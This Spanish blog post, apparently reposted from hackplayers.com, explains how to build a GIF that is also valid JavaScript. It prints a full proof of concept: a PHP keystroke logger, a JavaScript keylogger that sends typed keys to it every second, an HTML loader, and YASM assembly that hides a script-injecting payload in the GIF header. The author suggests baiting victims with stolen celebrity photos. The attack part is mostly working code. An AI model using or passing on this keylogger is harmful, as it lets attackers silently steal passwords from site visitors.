Cuidado con los GIF’s, le pueden Robar sus Contraseñas !

Tú mira este gif tan gracioso… y yo mientras te robo tus contraseñas (o el GIF que también quería ser Javascript)

Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios “políglotas“, que son ficheros que tienen simultáneamente varios formatos. Por ejemploPDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP,TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos loshackers“piratas informáticos”, es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo. 

Imaginad… basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript…

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS… eso y las fotos guarras las pone cada uno… XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

<?php
if(!empty($_GET['c'])) {
    $logfile
= fopen('data.txt', 'a+');
    fwrite
($logfile, $_GET['c']);
    fclose
($logfile);
}
?>


keylogger.js

var keys = '';
document
.onkeypress = function(e) {
   
var get = window.event ? event : e;
   
var key = get.keyCode ? get.keyCode : get.charCode;
    key
= String.fromCharCode(key);
    keys
+= key;
}
window
.setInterval(function(){
   
new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys
= '';
}, 1000);


index.html

<img src="img.gif" />
<script src="img.gif"></script>


Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el “truco” está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:

WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ
100 ; sólo para que sea más fácil de detectar
db
'GIF89a'
    dw WIDTH
, HEIGTH
db
0 ; GCT
    db
-1 ; color de fondo
    db
0 ; relación de aspecto por defecto
db
02ch  ; descriptor de imagen
    dw
0, 0 ; NW corner
    dw WIDTH
, HEIGTH ; ancho y alto de la imagen
    db
0 ; color de la tabla
db
2 ; tamaño lzw
db
0
db
3bh ; terminador del gif
db
'*/' ; cierre del comentario
db
'=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db
's = document.createElement("script");'
db
's.src = "http://localhost/keylogger.js";'
db
'document.body.appendChild(s);'


El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif



Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:

Tomado de: http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html
Se respetan derechos de autor.

37total visits,2visits today

Dejar una contestacion